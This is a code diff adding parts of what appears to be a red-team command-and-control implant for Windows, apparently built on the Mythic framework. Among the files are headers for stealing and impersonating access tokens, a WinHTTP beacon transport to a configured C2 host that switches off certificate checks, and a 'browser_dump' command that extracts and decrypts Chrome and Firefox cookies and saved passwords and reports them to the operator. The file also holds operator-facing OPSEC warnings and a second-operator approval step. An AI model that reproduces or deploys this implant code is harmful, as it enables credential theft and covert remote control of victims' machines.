@@ -0,0 +1,23 @@
|
||||
#pragma once
|
||||
#ifndef NATIVE_H
|
||||
#define NATIVE_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
|
||||
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
|
||||
HANDLE ProcessHandle,
|
||||
ULONG ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
BOOL IsWow64ProcessEx(HANDLE hProcess);
|
||||
|
||||
extern int osMajorVersion;
|
||||
|
||||
|
||||
#endif
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,26 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef TOKENS_H
|
||||
#define TOKENS_H
|
||||
|
||||
#include "analizador.h"
|
||||
#include "paquete.h"
|
||||
|
||||
// Token command codes (must match translator)
|
||||
#define LIST_TOKENS_CMD 0x32
|
||||
#define STEAL_TOKEN_CMD 0x33
|
||||
#define MAKE_TOKEN_CMD 0x34
|
||||
#define REV2SELF_CMD 0x35
|
||||
#define KILL_CMD 0x37
|
||||
|
||||
// Forward declarations
|
||||
BOOL EnableSeDebugPrivilege(VOID);
|
||||
VOID ListarTokens(PAnalizador argumentos);
|
||||
VOID RobarToken(PAnalizador argumentos);
|
||||
VOID CrearToken(PAnalizador argumentos);
|
||||
VOID RevertirToken(PAnalizador argumentos);
|
||||
VOID ObtenerUsuarioActual(PAnalizador argumentos);
|
||||
VOID MatarProceso(PAnalizador argumentos);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,238 @@
|
||||
#include "transporte.h"
|
||||
#include "socks_manager.h"
|
||||
|
||||
#define _WIN32_WINNT 0x0602
|
||||
#include <winhttp.h>
|
||||
|
||||
#ifndef WINHTTP_OPTION_ENABLE_SSL_REVOCATION
|
||||
#define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70
|
||||
#endif
|
||||
|
||||
|
||||
/* =======================================================
|
||||
Obtener código de estado HTTP
|
||||
======================================================= */
|
||||
int obtenerCodigoDeEstado(HANDLE hPeticion) {
|
||||
DWORD codigoDeEstado = 0;
|
||||
DWORD tamanoEstado = sizeof(DWORD);
|
||||
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
|
||||
WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
|
||||
return 0;
|
||||
return codigoDeEstado;
|
||||
}
|
||||
|
||||
/* =======================================================
|
||||
Procesar tráfico SOCKS desde respuesta HTTP
|
||||
======================================================= */
|
||||
static VOID procesarSocksEntrante(PAnalizador respuesta) {
|
||||
/* Placeholder desactivado: la estructura Analizador no define bloques.
|
||||
Mantener función para futuras extensiones sin romper build. */
|
||||
(void)respuesta;
|
||||
}
|
||||
|
||||
/* =======================================================
|
||||
Petición HTTP (envío + recepción)
|
||||
======================================================= */
|
||||
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||
_dbg("realizarPeticionHTTP() bufferLen=%u", bufferLen);
|
||||
|
||||
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
|
||||
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
|
||||
PVOID respBuffer = NULL;
|
||||
DWORD respSize = 0;
|
||||
UCHAR buffer[1024] = { 0 };
|
||||
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||
wchar_t urlBuffer[512] = {0}; // Declare at function scope
|
||||
|
||||
WINHTTP_PROXY_INFO infoProxy = { 0 };
|
||||
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
|
||||
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
|
||||
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
|
||||
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
|
||||
|
||||
if (angeronaConfig->proxyHabilitado && angeronaConfig->urlProxy) {
|
||||
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||
httpProxy = angeronaConfig->urlProxy;
|
||||
}
|
||||
|
||||
if (angeronaConfig->SSL) {
|
||||
httpFlags |= WINHTTP_FLAG_SECURE;
|
||||
}
|
||||
|
||||
_dbg("WinHttpOpen()");
|
||||
hSesion = WinHttpOpen(angeronaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
||||
if (!hSesion) {
|
||||
_err("WinHttpOpen falló (%lu)", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
_dbg("WinHttpOpen OK");
|
||||
|
||||
_dbg("WinHttpConnect() host=%ls port=%d", angeronaConfig->hostName, angeronaConfig->puertoHttp);
|
||||
hConexion = WinHttpConnect(hSesion, angeronaConfig->hostName, angeronaConfig->puertoHttp, 0);
|
||||
if (!hConexion) {
|
||||
_err("WinHttpConnect falló (%lu)", GetLastError());
|
||||
WinHttpCloseHandle(hSesion);
|
||||
return NULL;
|
||||
}
|
||||
_dbg("WinHttpConnect OK");
|
||||
|
||||
// Log complete URL - ensure endpoint starts with /
|
||||
wchar_t endpointBuf[256];
|
||||
if (angeronaConfig->endPoint && angeronaConfig->endPoint[0] != L'/') {
|
||||
swprintf(endpointBuf, 256, L"/%ls", angeronaConfig->endPoint);
|
||||
} else {
|
||||
wcsncpy(endpointBuf, angeronaConfig->endPoint ? angeronaConfig->endPoint : L"", 256);
|
||||
}
|
||||
|
||||
swprintf(urlBuffer, 512, L"%ls://%ls:%d%ls",
|
||||
angeronaConfig->SSL ? L"https" : L"http",
|
||||
angeronaConfig->hostName,
|
||||
angeronaConfig->puertoHttp,
|
||||
endpointBuf);
|
||||
_dbg("Complete URL: %ls", urlBuffer);
|
||||
|
||||
_dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x",
|
||||
endpointBuf, angeronaConfig->metodoHttp, httpFlags);
|
||||
hPeticion = WinHttpOpenRequest(hConexion, angeronaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
|
||||
if (!hPeticion) {
|
||||
_err("WinHttpOpenRequest falló (%lu)", GetLastError());
|
||||
WinHttpCloseHandle(hConexion);
|
||||
WinHttpCloseHandle(hSesion);
|
||||
return NULL;
|
||||
}
|
||||
_dbg("WinHttpOpenRequest OK");
|
||||
|
||||
if (angeronaConfig->SSL) {
|
||||
_dbg("Configurando opciones SSL");
|
||||
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) {
|
||||
_wrn("WinHttpSetOption SECURITY_FLAGS falló (%lu)", GetLastError());
|
||||
} else {
|
||||
_dbg("SSL flags configurados OK");
|
||||
}
|
||||
|
||||
// También configurar para deshabilitar revocación de certificados
|
||||
DWORD dwEnableSSLRevocCheck = 0;
|
||||
WinHttpSetOption(hPeticion, WINHTTP_OPTION_ENABLE_SSL_REVOCATION, &dwEnableSSLRevocCheck, sizeof(DWORD));
|
||||
}
|
||||
|
||||
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
|
||||
if (configuracionProxy.lpszProxy && lstrlenW(configuracionProxy.lpszProxy) != 0) {
|
||||
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
|
||||
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
|
||||
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
|
||||
}
|
||||
}
|
||||
|
||||
_dbg("Enviando %u bytes de datos codificados", bufferLen);
|
||||
|
||||
// Log first 100 bytes of data being sent (base64 preview)
|
||||
if (bufferLen > 0 && bufferIn) {
|
||||
char preview[101] = {0};
|
||||
size_t previewLen = bufferLen > 100 ? 100 : bufferLen;
|
||||
memcpy(preview, bufferIn, previewLen);
|
||||
preview[previewLen] = '\0';
|
||||
_dbg("Data preview (first %zu bytes): %s", previewLen, preview);
|
||||
if (bufferLen > 100) {
|
||||
_dbg("... (total %u bytes, showing first 100)", bufferLen);
|
||||
}
|
||||
}
|
||||
|
||||
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
|
||||
_err("WinHttpSendRequest falló (%lu)", GetLastError());
|
||||
WinHttpCloseHandle(hPeticion);
|
||||
WinHttpCloseHandle(hConexion);
|
||||
WinHttpCloseHandle(hSesion);
|
||||
return NULL;
|
||||
}
|
||||
_dbg("WinHttpSendRequest OK");
|
||||
|
||||
_dbg("Esperando respuesta...");
|
||||
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
|
||||
_err("WinHttpReceiveResponse falló (%lu)", GetLastError());
|
||||
WinHttpCloseHandle(hPeticion);
|
||||
WinHttpCloseHandle(hConexion);
|
||||
WinHttpCloseHandle(hSesion);
|
||||
return NULL;
|
||||
}
|
||||
_dbg("WinHttpReceiveResponse OK");
|
||||
|
||||
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
|
||||
_dbg("HTTP status = %lu", codigoDeEstado);
|
||||
|
||||
// Try to get response headers for debugging
|
||||
if (codigoDeEstado != 200) {
|
||||
wchar_t headers[2048] = {0};
|
||||
DWORD headerSize = sizeof(headers) / sizeof(wchar_t);
|
||||
if (WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_RAW_HEADERS_CRLF,
|
||||
WINHTTP_HEADER_NAME_BY_INDEX, headers, &headerSize, WINHTTP_NO_HEADER_INDEX)) {
|
||||
_dbg("Response headers:");
|
||||
_dbg("%ls", headers);
|
||||
} else {
|
||||
_wrn("Could not retrieve response headers (error: %lu)", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
if (codigoDeEstado != 200) {
|
||||
_err("HTTP status no OK --> %lu", codigoDeEstado);
|
||||
_err("Request URL was: %ls", urlBuffer);
|
||||
_err("Request size was: %u bytes", bufferLen);
|
||||
WinHttpCloseHandle(hPeticion);
|
||||
WinHttpCloseHandle(hConexion);
|
||||
WinHttpCloseHandle(hSesion);
|
||||
return NULL;
|
||||
}
|
||||
_dbg("HTTP status OK (200)");
|
||||
|
||||
do {
|
||||
dwTamano = 1024;
|
||||
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
|
||||
_err("WinHttpQueryDataAvailable falló (%lu)\n", GetLastError());
|
||||
break;
|
||||
}
|
||||
if (dwTamano == 0) break;
|
||||
|
||||
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
|
||||
_err("WinHttpReadData falló (%lu)\n", GetLastError());
|
||||
break;
|
||||
}
|
||||
|
||||
respSize += dwDescargado;
|
||||
respBuffer = respBuffer ? LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT)
|
||||
: LocalAlloc(LPTR, respSize);
|
||||
|
||||
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
|
||||
_dbg("Recibidos %u bytes (%lu totales)", dwDescargado, respSize);
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
} while (dwTamano > 0);
|
||||
|
||||
_dbg("Respuesta total %lu bytes", respSize);
|
||||
WinHttpCloseHandle(hPeticion);
|
||||
WinHttpCloseHandle(hConexion);
|
||||
WinHttpCloseHandle(hSesion);
|
||||
|
||||
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
PAnalizador analizador = nuevoAnalizador((PBYTE)respBuffer, respSize);
|
||||
|
||||
/* NOTA: El parsing del bloque SOCKS se hace DESPUÉS de decodificar base64 en paquete.c */
|
||||
/* Aquí solo devolvemos el analizador con los datos base64-encoded */
|
||||
|
||||
_dbg("realizarPeticionHTTP() completado");
|
||||
return analizador;
|
||||
}
|
||||
|
||||
/* =======================================================
|
||||
Función principal de transporte (puente con el resto)
|
||||
======================================================= */
|
||||
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
|
||||
#ifdef HTTP_TRANSPORT
|
||||
_dbg("mandarYRecibir() len=%zu", tamano);
|
||||
return realizarPeticionHTTP(datos, (UINT32)tamano);
|
||||
#else
|
||||
return NULL;
|
||||
#endif
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
#pragma once
|
||||
#ifndef TRANSPORTE
|
||||
#define TRANSPORTE
|
||||
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
#include "angerona.h"
|
||||
#include "analizador.h"
|
||||
#include "socks_manager.h" // <— añadido
|
||||
|
||||
#pragma comment(lib, "winhttp.lib")
|
||||
|
||||
#define HTTP_TRANSPORT
|
||||
|
||||
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,202 @@
|
||||
#include "utils.h"
|
||||
|
||||
|
||||
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
size_t b64tamanoCodificado(size_t inlen) {
|
||||
size_t ret;
|
||||
ret = inlen;
|
||||
if (inlen % 3 != 0)
|
||||
ret += 3 - (inlen % 3);
|
||||
ret /= 3;
|
||||
ret *= 4;
|
||||
return ret;
|
||||
}
|
||||
|
||||
int aleatorioInt32(int min, int max) {
|
||||
return (rand() % (max - min + 1)) + min;
|
||||
}
|
||||
|
||||
char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
||||
char* out;
|
||||
SIZE_T elen;
|
||||
SIZE_T i;
|
||||
SIZE_T j;
|
||||
SIZE_T v;
|
||||
|
||||
if (in == NULL || len == 0) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
elen = b64tamanoCodificado(len);
|
||||
out = (char*)LocalAlloc(LPTR, elen + 1);
|
||||
if (!out) {
|
||||
return NULL;
|
||||
}
|
||||
out[elen] = '\0';
|
||||
|
||||
for (i = 0, j = 0; i < len; i += 3, j += 4) {
|
||||
v = in[i];
|
||||
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
|
||||
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
|
||||
|
||||
out[j] = b64chars[(v >> 18) & 0x3F];
|
||||
out[j + 1] = b64chars[(v >> 12) & 0x3F];
|
||||
if (i + 1 < len) {
|
||||
out[j + 2] = b64chars[(v >> 6) & 0x3F];
|
||||
} else {
|
||||
out[j + 2] = '=';
|
||||
}
|
||||
if (i + 2 < len) {
|
||||
out[j + 3] = b64chars[v & 0x3F];
|
||||
} else {
|
||||
out[j + 3] = '=';
|
||||
}
|
||||
}
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
SIZE_T b64tamanoDecodificado(const char* in) {
|
||||
SIZE_T len;
|
||||
SIZE_T ret;
|
||||
SIZE_T i;
|
||||
|
||||
if (in == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
len = strlen(in);
|
||||
ret = len / 4 * 3;
|
||||
|
||||
for (i = len; i-- > 0; ) {
|
||||
if (in[i] == '=') {
|
||||
ret--;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static int b64_inverse(char c) {
|
||||
if (c >= 'A' && c <= 'Z') return c - 'A';
|
||||
if (c >= 'a' && c <= 'z') return c - 'a' + 26;
|
||||
if (c >= '0' && c <= '9') return c - '0' + 52;
|
||||
if (c == '+') return 62;
|
||||
if (c == '/') return 63;
|
||||
return -1;
|
||||
}
|
||||
|
||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
||||
if (!in || !out) return 0;
|
||||
|
||||
SIZE_T len = strlen(in);
|
||||
if (len % 4 != 0) return 0;
|
||||
|
||||
SIZE_T i = 0, j = 0;
|
||||
while (i < len) {
|
||||
int a = b64_inverse(in[i]);
|
||||
int b = b64_inverse(in[i+1]);
|
||||
int c = (in[i+2] == '=') ? -1 : b64_inverse(in[i+2]);
|
||||
int d = (in[i+3] == '=') ? -1 : b64_inverse(in[i+3]);
|
||||
|
||||
if (a < 0 || b < 0 || (in[i+2] != '=' && c < 0) || (in[i+3] != '=' && d < 0))
|
||||
return 0;
|
||||
|
||||
out[j++] = (a << 2) | (b >> 4);
|
||||
if (c >= 0) out[j++] = ((b & 0xF) << 4) | (c >> 2);
|
||||
if (d >= 0) out[j++] = ((c & 0x3) << 6) | d;
|
||||
i += 4;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
||||
(buffer)[0] = (value >> 24) & 0xFF;
|
||||
(buffer)[1] = (value >> 16) & 0xFF;
|
||||
(buffer)[2] = (value >> 8) & 0xFF;
|
||||
(buffer)[3] = (value) & 0xFF;
|
||||
}
|
||||
|
||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
|
||||
buffer[7] = value & 0xFF; value >>= 8;
|
||||
buffer[6] = value & 0xFF; value >>= 8;
|
||||
buffer[5] = value & 0xFF; value >>= 8;
|
||||
buffer[4] = value & 0xFF; value >>= 8;
|
||||
buffer[3] = value & 0xFF; value >>= 8;
|
||||
buffer[2] = value & 0xFF; value >>= 8;
|
||||
buffer[1] = value & 0xFF; value >>= 8;
|
||||
buffer[0] = value & 0xFF;
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
Wrappers para interfaz simple de base64 (socks_manager)
|
||||
- base64_decode: asigna *out con LocalAlloc; devuelve 1 en ok.
|
||||
- base64_encode: asigna *out_b64 con LocalAlloc; devuelve 1 en ok.
|
||||
========================================================= */
|
||||
|
||||
int base64_decode(const char *b64, unsigned char **out, size_t *out_len) {
|
||||
if (!b64 || !out || !out_len) return 0;
|
||||
SIZE_T need = b64tamanoDecodificado(b64);
|
||||
if (need == 0) {
|
||||
*out = NULL;
|
||||
*out_len = 0;
|
||||
return 1; /* empty input is OK */
|
||||
}
|
||||
|
||||
unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, need);
|
||||
if (!buf) {
|
||||
_err("base64_decode: LocalAlloc failed for %zu bytes", need);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ok = b64Decodificado(b64, buf, need);
|
||||
if (!ok) {
|
||||
LocalFree(buf);
|
||||
_err("base64_decode: b64Decodificado failed");
|
||||
return 0;
|
||||
}
|
||||
|
||||
*out = buf;
|
||||
*out_len = (size_t)need;
|
||||
_dbg("base64_decode: decoded %zu bytes", *out_len);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) {
|
||||
if ((!data && dlen>0) || !out_b64) return 0;
|
||||
if (dlen == 0) {
|
||||
*out_b64 = (char*)LocalAlloc(LPTR, 1);
|
||||
if (!*out_b64) return 0;
|
||||
(*out_b64)[0] = '\0';
|
||||
return 1;
|
||||
}
|
||||
|
||||
char *s = b64Codificado(data, (SIZE_T)dlen);
|
||||
if (!s) {
|
||||
_err("base64_encode: b64Codificado failed");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* b64Codificado already uses LocalAlloc in original impl */
|
||||
*out_b64 = s;
|
||||
_dbg("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64);
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Hash function for BOF function resolution (FNV-1a algorithm) */
|
||||
#define HASH_SEED 0x811C9DC5
|
||||
#define HASH_PRIME 0x01000193
|
||||
|
||||
UINT32 custom_hash(const char *data) {
|
||||
UINT32 hash = HASH_SEED;
|
||||
if (!data) return 0;
|
||||
while (*data) {
|
||||
hash ^= (UINT8)(*data);
|
||||
hash *= HASH_PRIME;
|
||||
data++;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
#pragma once
|
||||
#ifndef UTILS
|
||||
#define UTILS
|
||||
#include <windows.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "debug.h"
|
||||
|
||||
#ifdef __MINGW64__
|
||||
#define BYTESWAP32(x) __builtin_bswap32( x )
|
||||
#define BYTESWAP64(x) __builtin_bswap64( x )
|
||||
#endif
|
||||
#ifdef _MSC_VER
|
||||
#define BYTESWAP32(x) _byteswap_ulong(x)
|
||||
#define BYTESWAP64(x) _byteswap_uint64(x)
|
||||
#endif
|
||||
|
||||
SIZE_T b64tamanoDecodificado(const char* in);
|
||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
|
||||
char* b64Codificado(const unsigned char* in, SIZE_T len);
|
||||
size_t b64tamanoCodificado(size_t inlen);
|
||||
int aleatorioInt32(int min, int max);
|
||||
|
||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
|
||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
|
||||
|
||||
/* Wrappers compatibles con la interfaz usada por socks_manager.c */
|
||||
int base64_decode(const char *b64, unsigned char **out, size_t *out_len);
|
||||
/* Allocates *out via LocalAlloc; caller must LocalFree(*out). Returns 1 on success, 0 on fail. */
|
||||
|
||||
int base64_encode(const unsigned char *data, size_t dlen, char **out_b64);
|
||||
/* Sets *out_b64 to a LocalAlloc'd null-terminated string. Returns 1 on success, 0 on fail. */
|
||||
|
||||
/* Hash function for BOF function resolution (FNV-1a) */
|
||||
UINT32 custom_hash(const char *data);
|
||||
|
||||
#endif
|
||||
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,16 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="100" cy="100" r="85" fill="none" stroke="#111" stroke-width="4"/>
|
||||
|
||||
<!-- Laurel left -->
|
||||
<path d="M60 130 Q50 100 70 70" fill="none" stroke="#111" stroke-width="3"/>
|
||||
<path d="M65 120 L55 110 M68 105 L58 95 M72 90 L62 80" stroke="#111" stroke-width="3"/>
|
||||
|
||||
<!-- Laurel right -->
|
||||
<path d="M140 130 Q150 100 130 70" fill="none" stroke="#111" stroke-width="3"/>
|
||||
<path d="M135 120 L145 110 M132 105 L142 95 M128 90 L138 80" stroke="#111" stroke-width="3"/>
|
||||
|
||||
<!-- Central seal (silence mark) -->
|
||||
<circle cx="100" cy="100" r="18" fill="none" stroke="#111" stroke-width="3"/>
|
||||
<line x1="85" y1="100" x2="115" y2="100" stroke="#111" stroke-width="3"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 806 B |
@@ -0,0 +1,16 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="100" cy="100" r="85" fill="none" stroke="#eee" stroke-width="4"/>
|
||||
|
||||
<!-- Laurel left -->
|
||||
<path d="M60 130 Q50 100 70 70" fill="none" stroke="#eee" stroke-width="3"/>
|
||||
<path d="M65 120 L55 110 M68 105 L58 95 M72 90 L62 80" stroke="#eee" stroke-width="3"/>
|
||||
|
||||
<!-- Laurel right -->
|
||||
<path d="M140 130 Q150 100 130 70" fill="none" stroke="#eee" stroke-width="3"/>
|
||||
<path d="M135 120 L145 110 M132 105 L142 95 M128 90 L138 80" stroke="#eee" stroke-width="3"/>
|
||||
|
||||
<!-- Central seal (silence mark) -->
|
||||
<circle cx="100" cy="100" r="18" fill="none" stroke="#eee" stroke-width="3"/>
|
||||
<line x1="85" y1="100" x2="115" y2="100" stroke="#eee" stroke-width="3"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 806 B |
@@ -0,0 +1,149 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
|
||||
|
||||
class BrowserDumpArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="browser",
|
||||
type=ParameterType.ChooseOne,
|
||||
description="Browser to dump (cookies, logins, and bookmarks)",
|
||||
choices=["chrome", "firefox"],
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True,
|
||||
ui_position=1
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a browser name: chrome or firefox")
|
||||
|
||||
browser = self.command_line.strip().lower()
|
||||
valid_browsers = ["chrome", "firefox"]
|
||||
|
||||
if browser not in valid_browsers:
|
||||
raise ValueError(f"Invalid browser. Must be one of: {', '.join(valid_browsers)}")
|
||||
|
||||
self.add_arg("browser", browser)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class BrowserDumpCommand(CommandBase):
|
||||
cmd = "browser_dump"
|
||||
needs_admin = False
|
||||
help_cmd = "browser_dump <browser>"
|
||||
description = "Dump cookies, saved logins (passwords), and bookmarks from the specified browser. Supports Chrome and Firefox. Extracts encrypted credentials and decrypts them using browser-specific methods. Automatically reports extracted credentials to Mythic's credential store. HIGH OPSEC RISK: This command accesses browser credential stores which are heavily monitored by EDR/XDR solutions. Browser credential access is a common indicator of credential theft attacks."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = ["T1555", "T1539"]
|
||||
argument_class = BrowserDumpArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Browser credential dumping is highly detectable.
|
||||
"""
|
||||
browser = taskData.args.get_arg("browser") or ""
|
||||
browser_lower = browser.lower()
|
||||
|
||||
message = "🚨 HIGH OPSEC RISK - Browser Credential Dumping\n\n"
|
||||
message += f"Target Browser: {browser.upper()}\n\n"
|
||||
message += "This command will:\n"
|
||||
message += " • Access browser credential databases (SQLite files)\n"
|
||||
message += " • Read encrypted password stores\n"
|
||||
message += " • Decrypt browser-protected credentials\n"
|
||||
message += " • Extract cookies, saved passwords, and bookmarks\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR solutions monitor browser credential access\n"
|
||||
message += " • File access to browser databases triggers alerts\n"
|
||||
message += " • Credential theft detection rules (MITRE T1555)\n"
|
||||
message += " • Behavioral analysis detects credential extraction patterns\n"
|
||||
message += " • Elastic Security detects unsigned processes accessing browser stores\n\n"
|
||||
|
||||
message += "⚠️ HIGH DETECTION PROBABILITY:\n"
|
||||
message += " • Browser credential access is a primary indicator of attack\n"
|
||||
message += " • Many security tools have specific rules for this activity\n"
|
||||
message += " • File access patterns are logged and monitored\n\n"
|
||||
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • This activity is commonly detected within minutes\n"
|
||||
message += " • Consider timing (off-hours may reduce detection)\n"
|
||||
message += " • Ensure you have proper authorization\n"
|
||||
message += " • Alternative: Use browser_info first to identify available browsers\n\n"
|
||||
|
||||
message += "✅ This command requires approval from another operator."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=True, # Block by default
|
||||
OpsecPreBypassRole="other_operator", # Requires another operator to approve
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
browser = taskData.args.get_arg("browser") or ""
|
||||
|
||||
message = "🚨 OPSEC POST-CHECK - Browser Credential Dumping Artifacts\n\n"
|
||||
message += f"Target Browser: {browser.upper()}\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • File Read: Browser credential database access\n"
|
||||
message += " • File Read: Browser Local State file (for Chromium browsers)\n"
|
||||
message += " • File Read: Browser profiles.ini (for Firefox)\n"
|
||||
message += " • Credential Access: Browser password store access\n"
|
||||
message += " • Credential Extraction: Decrypted credentials reported to Mythic\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR file access monitoring\n"
|
||||
message += " • Credential theft detection rules\n"
|
||||
message += " • Behavioral analysis (credential extraction patterns)\n"
|
||||
message += " • File access auditing (if enabled)\n\n"
|
||||
|
||||
message += "⚠️ CRITICAL DETECTION PROBABILITY:\n"
|
||||
message += " • Browser credential access is heavily monitored\n"
|
||||
message += " • Detection is likely within minutes\n"
|
||||
message += " • Multiple security layers may trigger alerts\n\n"
|
||||
|
||||
message += "✅ This is a FINAL WARNING - task will proceed if approved.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
